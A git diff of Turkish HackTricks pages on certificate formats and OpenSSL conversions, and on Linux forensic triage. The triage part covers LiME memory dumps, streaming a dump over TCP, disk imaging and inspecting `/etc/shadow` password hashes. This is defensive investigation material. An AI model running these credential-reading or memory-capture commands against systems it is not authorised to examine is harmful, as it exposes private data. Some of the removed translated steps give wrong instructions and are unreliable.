**Alternatif Konu Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve sertifikanın bir CA veya son varlık sertifikası olup olmadığını tanımlar. -- **Konu Anahtar Tanımlayıcısı** ve **Yetkilendirme Anahtar Tanımlayıcısı**, anahtarların benzersizliğini ve izlenebilirliğini sağlar. -- **Yetkilendirme Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, sertifikayı veren CA'yı doğrulamak ve sertifika iptal durumunu kontrol etmek için yol sağlar. -- **CT Ön Sertifika SCT'leri**, sertifikaya olan kamu güveni için önemli olan şeffaflık günlüklerini sunar. +* **Anahtar Kullanımı**, genel anahtarın kriptografik uygulamalarını tanımlar, örneğin dijital imza veya anahtar şifreleme. +* **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım alanlarını daha da daraltır, örneğin TLS sunucu kimlik doğrulaması için. +* **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve sertifikanın bir CA mı yoksa son kullanıcı sertifikası mı olduğunu belirler. +* **Konu Anahtar Kimliği** ve **Yetki Anahtar Kimliği**, anahtarların benzersizliğini ve izlenebilirliğini sağlar. +* **Yetki Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, sertifikayı veren CA'yı doğrulamak için yollar sağlar ve sertifika iptal durumunu kontrol etmek için yollar sağlar. +* **CT Ön Sertifika SCT'leri**, sertifikaya olan kamu güveni için önemli olan şeffaflık günlüklerini sunar. ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -76,11 +76,11 @@ print(f"Public Key: {public_key}") ``` ### **OCSP ve CRL Dağıtım Noktaları Arasındaki Fark** -**OCSP** (**RFC 2560**), bir dijital genel anahtar sertifikasının iptal edilip edilmediğini kontrol etmek için bir istemci ve bir yanıtlayıcının birlikte çalıştığı bir yöntemdir ve tam **CRL**'yi indirmeye gerek duymaz. Bu yöntem, potansiyel olarak büyük bir dosya indirmeyi gerektiren, iptal edilen sertifika seri numaralarının bir listesini sağlayan geleneksel **CRL**'den daha verimlidir. CRL'ler 512 girişe kadar içerebilir. Daha fazla ayrıntı [burada](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) bulunabilir. +**OCSP** (**RFC 2560**), bir istemci ve yanıtlayıcının birlikte çalışarak dijital genel anahtar sertifikasının iptal edilip edilmediğini kontrol etmesini sağlar, tam **CRL**'yi indirmeye gerek olmadan. Bu yöntem, potansiyel olarak büyük bir dosyayı indirmeyi gerektiren geleneksel **CRL**'den daha verimlidir. CRL'ler en fazla 512 giriş içerebilir. Daha fazla ayrıntı [burada](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). ### **Sertifika Şeffaflığı Nedir** -Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan sahipleri, CA'lar ve kullanıcılar tarafından görülebilir olmasını sağlayarak sertifika ile ilgili tehditlerle mücadele etmeye yardımcı olur. Aşağıdaki hedeflere sahiptir: +Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan sahipleri, CA'lar ve kullanıcılara görünür olmasını sağlayarak sertifika ile ilgili tehditlerle mücadeleye yardımcı olur. Amaçları şunlardır: * CA'ların alan sahibinin bilgisi olmadan bir alan için SSL sertifikaları vermesini engellemek. * Yanlışlıkla veya kötü niyetle verilen sertifikaları izlemek için açık bir denetim sistemi oluşturmak. @@ -88,184 +88,108 @@ Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının ala #### **Sertifika Kayıtları** -Sertifika kayıtları, ağ hizmetleri tarafından tutulan, herkes tarafından denetlenebilir, sadece ekleme yapılan sertifikaların kayıtlarıdır. Bu kayıtlar, denetim amaçları için kriptografik kanıtlar sağlar. Hem verme yetkilileri hem de kamu, bu kayıtlara sertifikaları sunabilir veya sorgulayabilir. Kayıt sunucularının tam sayısı sabit değildir, küresel olarak binin altında olması beklenir. Bu sunucular, CA'lar, ISS'ler veya ilgilenen herhangi bir kuruluş tarafından bağımsız olarak yönetilebilir. +Sertifika kayıtları, ağ hizmetleri tarafından tutulan, herkese açık olarak denetlenebilir, yalnızca eklemeye izin veren sertifikaların kayıtlarıdır. Bu kayıtlar denetim amaçları için kriptografik kanıtlar sağlar. Hem verme yetkilileri hem de halk, bu kayıtlara sertifikaları gönderebilir veya doğrulama için sorgulayabilir. Log sunucularının tam sayısı sabit değildir, küresel olarak binin altında olması beklenir. Bu sunucular, CA'lar, İSP'ler veya ilgili herhangi bir kuruluş tarafından bağımsız olarak yönetilebilir. #### **Sorgu** Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin. -Sertifikaları depolamak için farklı formatlar mevcuttur, her birinin kendi kullanım durumları ve uyumlulukları vardır. Bu özet, ana formatları kapsar ve bunlar arasında dönüştürme konusunda rehberlik sağlar. - ## **Formatlar** ### **PEM Formatı** -- Sertifikalar için en yaygın kullanılan formattır. -- Sertifikaları ve özel anahtarları ayrı dosyalarda gerektirir, Base64 ASCII ile kodlanmıştır. -- Yaygın uzantılar: .cer, .crt, .pem, .key. -- Apache ve benzeri sunucular tarafından başlıca kullanılır. + +* Sertifikalar için en yaygın kullanılan formattır. +* Sertifikalar ve özel anahtarlar için ayrı dosyalar gerektirir, Base64 ASCII ile kodlanmıştır. +* Yaygın uzantılar: .cer, .crt, .pem, .key. +* Başta Apache olmak üzere benzer sunucular tarafından kullanılır. ### **DER Formatı** -- Sertifikaların ikili bir formattır. -- PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez. -- Yaygın uzantılar: .cer, .der. -- Genellikle Java platformlarıyla kullanılır. + +* Sertifikaların ikili bir formatıdır. +* PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez. +* Yaygın uzantılar: .cer, .der. +* Genellikle Java platformlarıyla kullanılır. ### **P7B/PKCS#7 Formatı** -- Base64 ASCII ile depolanır, .p7b veya .p7c uzantılarına sahiptir. -- Sadece sertifikaları ve zincir sertifikalarını, özel anahtarı hariç tutar. -- Microsoft Windows ve Java Tomcat tarafından desteklenir. + +* Base64 ASCII ile depolanır, .p7b veya .p7c uzantılarına sahiptir. +* Yalnızca sertifikaları ve zincir sertifikalarını içerir, özel anahtarı hariç tutar. +* Microsoft Windows ve Java Tomcat tarafından desteklenir. ### **PFX/P12/PKCS#12 Formatı** -- Sunucu sertifikalarını, ara sertifikalarını ve özel anahtarları tek bir dosyada kapsayan ikili bir formattır. -- Uzantılar: .pfx, .p12. -- Genellikle sertifika alma ve alma işlemleri için Windows'ta kullanılır. -### **Formatları Dönüştürme** +* Sunucu sertifikalarını, ara sertifikaları ve özel anahtarları tek bir dosyada kapsayan ikili bir formattır. +* Uzantılar: .pfx, .p12. +* Genellikle Windows'ta sertifika içe ve dışa aktarma işlemleri için kullanılır. -Uyumluluk için **PEM dönüşümleri** önemlidir: +### **Format Dönüşümleri** -- **x509'tan PEM'e** +**PEM dönüşümleri**, uyumluluk için önemlidir: + +* **x509'tan PEM'e** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` -- **PEM'den DER'e** - -PEM formatındaki bir sertifikayı DER formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz: - -1. İlk olarak, PEM formatındaki sertifikayı bir metin düzenleyiciyle açın. -2. Sertifikanın başında "-----BEGIN CERTIFICATE-----" ve sonunda "-----END CERTIFICATE-----" ifadelerini bulun. -3. Bu ifadeler arasındaki tüm metni kopyalayın ve yeni bir metin dosyasına yapıştırın. -4. Dosyayı ".pem" uzantısıyla kaydedin. -5. Ardından, OpenSSL aracını kullanarak PEM dosyasını DER formatına dönüştürebilirsiniz. Aşağıdaki komutu kullanarak dönüşümü gerçekleştirebilirsiniz: - - ```bash - openssl x509 -in example.pem -out example.der -outform DER - ``` - - Burada "example.pem" dönüştürmek istediğiniz PEM dosyasının adıdır ve "example.der" ise çıktı olarak almak istediğiniz DER dosyasının adıdır. - -6. Dönüştürme işlemi tamamlandıktan sonra, DER formatındaki sertifikayı kullanabilirsiniz. +* **PEM'i DER'e dönüştürme** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` -- **DER'den PEM'e** - -DER formatındaki bir sertifikayı PEM formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz: - -1. DER formatındaki sertifikayı bir metin düzenleyiciyle açın. -2. Sertifika içeriğini kopyalayın ve yeni bir metin dosyasına yapıştırın. -3. Dosyayı `.cer` veya `.der` uzantısıyla kaydedin. -4. OpenSSL aracını kullanarak DER formatındaki sertifikayı PEM formatına dönüştürün. Aşağıdaki komutu kullanabilirsiniz: - - ```plaintext - openssl x509 -inform der -in certificate.cer -out certificate.pem - ``` - - Burada `certificate.cer`, kaydettiğiniz DER formatındaki sertifika dosyasının adıdır. -5. Dönüştürülen PEM formatındaki sertifikayı kullanabilirsiniz. +* **DER'den PEM'e** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` -- **PEM'dan P7B'ye** - -PEM formatındaki bir sertifikayı P7B formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz: - -1. OpenSSL aracını kullanarak PEM dosyasını P7B formatına dönüştürmek için aşağıdaki komutu çalıştırın: - - ```plaintext - openssl crl2pkcs7 -nocrl -certfile certificate.pem -out certificate.p7b -certfile ca.pem - ``` - - - `certificate.pem`: Dönüştürmek istediğiniz PEM dosyasının adı. - - `certificate.p7b`: Dönüştürülen P7B dosyasının adı. - - `ca.pem`: Kök sertifikaların bulunduğu PEM dosyasının adı (isteğe bağlı). - -2. Komutu çalıştırdıktan sonra, PEM dosyası P7B formatına dönüştürülecektir. Dönüştürülen P7B dosyasını kullanabilirsiniz. - -Bu adımları takip ederek, PEM formatındaki bir sertifikayı P7B formatına dönüştürebilirsiniz. +* **PEM'den P7B'ye** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` -- **PKCS7'yi PEM'e dönüştürme** +* **PKCS7'yi PEM'e dönüştürme** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` -**PFX dönüşümleri**, Windows üzerinde sertifikaları yönetmek için önemlidir: +**PFX dönüşümleri**, Windows üzerinde sertifikaları yönetmek için hayati öneme sahiptir: -- **PFX'ten PEM'e** +* **PFX'ten PEM'e** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` -- **PFX'i PKCS#8'e dönüştürme** iki adımdan oluşur: -1. PFX'i PEM'e dönüştürün. +* **PFX to PKCS#8** iki adımdan oluşur: +1. PFX'i PEM'e dönüştürün ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` -2. PEM'i PKCS8'e dönüştürmek - -PEM formatındaki bir sertifikayı PKCS8 formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz: - -1. OpenSSL aracını kullanarak PEM dosyasını açın: - ```plaintext - openssl rsa -in key.pem -outform PEM -out key.pem - ``` - -2. PEM dosyasını PKCS8 formatına dönüştürün: - ```plaintext - openssl pkcs8 -topk8 -inform PEM -outform DER -in key.pem -out key.pk8 -nocrypt - ``` - -Bu adımları takip ederek PEM formatındaki bir sertifikayı PKCS8 formatına dönüştürebilirsiniz. +2. PEM formatındaki dosyayı PKCS8 formatına dönüştürün. ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` -- **P7B'yi PFX'e** dönüştürmek için iki komut gereklidir: +* **P7B'yi PFX'e** dönüştürmek için iki komut gereklidir: 1. P7B'yi CER'ye dönüştürün. ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` -2. CER ve Özel Anahtarı PFX'e Dönüştürme - -Bir sertifika (.cer) ve özel anahtarını (.key) PFX formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz: - -1. OpenSSL'i kullanarak bir PFX dosyası oluşturmak için aşağıdaki komutu çalıştırın: - - ```plaintext - openssl pkcs12 -export -in certificate.cer -inkey privatekey.key -out certificate.pfx - ``` - - - `certificate.cer`: Dönüştürmek istediğiniz sertifika dosyasının adını ve yolunu belirtin. - - `privatekey.key`: Dönüştürmek istediğiniz özel anahtar dosyasının adını ve yolunu belirtin. - - `certificate.pfx`: Oluşturulacak PFX dosyasının adını ve yolunu belirtin. - -2. Komutu çalıştırdıktan sonra, OpenSSL sizden bir PFX parolası girmenizi isteyecektir. Bu parolayı hatırlayın, çünkü PFX dosyasını kullanırken gerekecektir. - -3. Parolayı girdikten sonra, OpenSSL PFX dosyasını oluşturacak ve belirttiğiniz ad ve yol ile kaydedecektir. - -Artık CER ve özel anahtarınızı PFX formatında kullanabilirsiniz. +2. CER ve Özel Anahtarı PFX'e Dönüştürün ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` *** -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve yönetin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md index 68db69ef9..652c00243 100644 --- a/forensics/basic-forensic-methodology/linux-forensics.md +++ b/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,37 +1,37 @@ -# Linux Dijital Delil İncelemesi +# Linux Adli Bilişim -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** ile desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'ı desteklemenin diğer yolları: +HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'i **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-## İlk Bilgi Toplama +## Başlangıç Bilgi Toplama ### Temel Bilgiler -İlk olarak, **iyi bilinen ikili ve kütüphanelere sahip bir USB**'ye sahip olmanız önerilir (sadece ubuntu alabilir ve _/bin_, _/sbin_, _/lib_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve çevre değişkenlerini bu ikilileri kullanacak şekilde değiştirin: +İlk olarak, **iyi bilinen ikili ve kütüphanelere sahip bir USB**'ye sahip olmanız önerilir (sadece ubuntu alabilir ve _/bin_, _/sbin_, _/lib_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve çevre değişkenlerini değiştirerek bu ikilileri kullanın: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` -Sistem ayarlarını iyi ve bilinen ikili dosyaları kullanacak şekilde yapılandırdıktan sonra, **bazı temel bilgileri çıkarmaya** başlayabilirsiniz: +Bir kez sistemi iyi ve bilinen ikili dosyaları kullanacak şekilde yapılandırdıktan sonra **bazı temel bilgileri çıkarmaya** başlayabilirsiniz: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -51,45 +51,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi ``` #### Şüpheli bilgiler -Temel bilgileri elde ederken şunları kontrol etmelisiniz: +Temel bilgileri elde ederken şu tür garip şeyleri kontrol etmelisiniz: -* **Root işlemleri** genellikle düşük PIDS ile çalışır, bu yüzden büyük bir PID'ye sahip bir root işlemi bulursanız şüphelenebilirsiniz. -* `/etc/passwd` içinde kabuğu olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin. -* Kabuğu olmayan kullanıcıların **şifre hash'lerini** `/etc/shadow` içinde kontrol edin. +- **Root işlemleri** genellikle düşük PIDS ile çalışır, bu yüzden büyük bir PID'ye sahip bir root işlemi bulursanız şüphelenebilirsiniz +- `/etc/passwd` içinde kabuğu olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin +- `/etc/shadow` içinde kabuğu olmayan kullanıcılar için **şifre hash'lerini** kontrol edin ### Bellek Dökümü Çalışan sistemin belleğini elde etmek için [**LiME**](https://github.com/504ensicsLabs/LiME) kullanmanız önerilir.\ -Onu **derlemek** için, kurban makinenin kullandığı **aynı çekirdeği** kullanmanız gerekmektedir. +Bunu **derlemek** için, kurban makinenin kullandığı **aynı çekirdeği** kullanmanız gerekmektedir. {% hint style="info" %} -Unutmayın ki, kurban makineye LiME veya başka bir şey **kuramazsınız**, çünkü bunlar birçok değişiklik yapacaktır. +Kurban makineye **LiME veya başka bir şey kuramayacağınızı** unutmayın, çünkü bu makineye çeşitli değişiklikler yapacaktır {% endhint %} Bu yüzden, Ubuntu'nun aynı sürümüne sahipseniz `apt-get install lime-forensics-dkms` komutunu kullanabilirsiniz.\ -Diğer durumlarda, [**LiME**'yi](https://github.com/504ensicsLabs/LiME) github'dan indirmeniz ve doğru çekirdek başlıklarıyla derlemeniz gerekmektedir. Kurban makinenin **kesin çekirdek başlıklarını** elde etmek için, sadece `/lib/modules/<çekirdek sürümü>` dizinini kopyalayın ve ardından onları kullanarak LiME'yi **derleyin**: +Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME)'ı github'dan indirip doğru çekirdek başlıklarıyla derlemeniz gerekmektedir. Kurban makinenin **tam çekirdek başlıklarını elde etmek** için sadece `/lib/modules/<çekirdek sürümü>` dizinini kopyalayıp makinenize yapıştırabilir ve ardından bunları kullanarak LiME'ı **derleyebilirsiniz**: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` -LiME 3 **formatı** destekler: +LiME, 3 **formatı** destekler: -* Ham (her segment birleştirilmiş) -* Dolgulu (ham ile aynı, ancak sağ bitlerde sıfır ile doldurulmuş) +* Ham (her segment bir araya getirilir) +* Dolgulu (ham ile aynı, ancak sağ bitlerde sıfırlarla) * Lime (metadata ile birlikte önerilen format) -LiME ayrıca, bunun yerine **dökümü ağ üzerinden göndermek** için kullanılabilir, örneğin: `path=tcp:4444` +LiME ayrıca, dump'ı **sistemde depolamak yerine ağ üzerinden göndermek** için şöyle bir şey kullanılabilir: `path=tcp:4444` ### Disk Görüntüleme #### Kapatma -Öncelikle, **sistemi kapatmanız** gerekecektir. Bu her zaman bir seçenek olmayabilir, çünkü sistem bazen şirketin kapatamayacağı bir üretim sunucusu olabilir.\ -Sistemi kapatmanın **2 yolu** vardır, biri **normal kapatma** diğeri ise **"fişi çekme" kapatması**. İlk yöntem, **işlemlerin normal şekilde sonlandırılmasına** ve **dosya sisteminin senkronize edilmesine** izin verecektir, ancak aynı zamanda **mümkün olan kötü amaçlı yazılımın delilleri yok etmesine** de izin verecektir. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (belleğin bir görüntüsünü zaten aldığımız için çok fazla bilgi kaybolmayacak) ve **kötü amaçlı yazılımın buna karşı yapabileceği bir şey olmayacaktır**. Bu nedenle, bir **kötü amaçlı yazılım** olabileceğinden şüpheleniyorsanız, sistemin üzerinde **`sync`** **komutunu** çalıştırın ve fişi çekin. +Öncelikle, **sistemi kapatmanız gerekecek**. Bu her zaman bir seçenek olmayabilir çünkü sistem bazen kapatılamayacak kadar önemli bir sunucu olabilir.\ +Sistemi kapatmanın **2 yolu** vardır, **normal kapatma** ve **"fişi çekme" kapatma**. İlk yöntem, **işlemlerin normal şekilde sonlandırılmasına** ve **dosya sisteminin senkronize edilmesine** izin verecektir, ancak aynı zamanda olası **zararlı yazılımın delilleri yok etmesine** de izin verecektir. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (belleğin bir görüntüsünü zaten aldığımız için çok fazla bilgi kaybolmayacak) ve **zararlı yazılımın buna karşı bir şey yapma fırsatı olmayacak**. Bu nedenle, eğer bir **zararlı yazılım olabileceğinden şüpheleniyorsanız**, sadece sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin. -#### Diskin bir görüntüsünü almak +#### Diskten bir görüntü almak -Önemli bir nokta, **bilgisayarınızı dava ile ilgili herhangi bir şeye bağlamadan önce**, bilginin değiştirilmesini önlemek için **salt okunur olarak bağlanacağınızdan emin olmanız gerektiğidir**. +Bilgisayarınızı **dava ile ilgili herhangi bir şeye bağlamadan önce**, bilginin değiştirilmesini önlemek için **salt okunur olarak bağlanacağınızdan emin olmanız önemlidir**. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -153,40 +153,39 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Bilinen Kötü Amaçlı Yazılımları Arama +## Bilinen Kötü Amaçlı Yazılımları Arayın ### Değiştirilmiş Sistem Dosyaları -Linux, potansiyel sorunlu dosyaları tespit etmek için sistem bileşenlerinin bütünlüğünü sağlamak için araçlar sunar. +Linux, potansiyel sorunlu dosyaları tespit etmek için kritik sistem bileşenlerinin bütünlüğünü sağlama konusunda araçlar sunar. -- **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın. -- **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından herhangi bir sorunu belirlemek için `debsums | grep -v "OK$"` (apt-get install debsums ile `debsums`'ı yükledikten sonra) kullanın. +* **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın. +* **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` ( `apt-get install debsums` ile `debsums`'ı yükledikten sonra) ile herhangi bir sorunu belirlemek için kullanın. -### Kötü Amaçlı Yazılım/Kökkit Tespit Araçları +### Kötü Amaçlı Yazılım/Rootkit Tespitçileri -Kötü amaçlı yazılım bulmak için kullanışlı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun: +Kötü amaçlı yazılımları bulmak için faydalı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun: {% content-ref url="malware-analysis.md" %} [malware-analysis.md](malware-analysis.md) {% endcontent-ref %} -## Yüklenmiş Programları Arama +## Yüklenmiş Programları Arayın -Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için, sistem günlüklerini ve veritabanlarını yanı sıra ortak dizinlerde manuel kontrol yapmayı düşünebilirsiniz. +Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için sistem günlüklerini ve veritabanlarını, yaygın dizinlerde manuel kontrolle birlikte kullanmayı düşünün. -- Debian için, paket kurulumları hakkında ayrıntıları almak için **_`/var/lib/dpkg/status`_** ve **_`/var/log/dpkg.log`_** dosyalarını inceleyin ve belirli bilgileri filtrelemek için `grep` kullanın. +* Debian için, paket yüklemeleri hakkında ayrıntıları almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını inceleyin, belirli bilgileri filtrelemek için `grep` kullanın. +* RedHat kullanıcıları, yüklü paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir. -- RedHat kullanıcıları, yüklenmiş paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` komutunu kullanarak RPM veritabanını sorgulayabilirler. - -Bu paket yöneticileri dışında manuel olarak veya bunların dışında yüklenen yazılımları ortaya çıkarmak için **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_**, ve **_`/sbin`_** gibi dizinleri keşfedin. Dizin listelerini sistem özel komutlarıyla birleştirerek, bilinen paketlere bağlı olmayan yürütülebilir dosyaları belirlemek için arama sürecinizi geliştirin. +Bu paket yöneticileri dışında veya manuel olarak yüklenen yazılımları bulmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Dizin listelerini sistem özel komutlarla birleştirerek, bilinen paketlerle ilişkilendirilmeyen yürütülebilir dosyaları tanımlamak için arama işleminizi geliştirin. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -202,31 +201,25 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` -
+
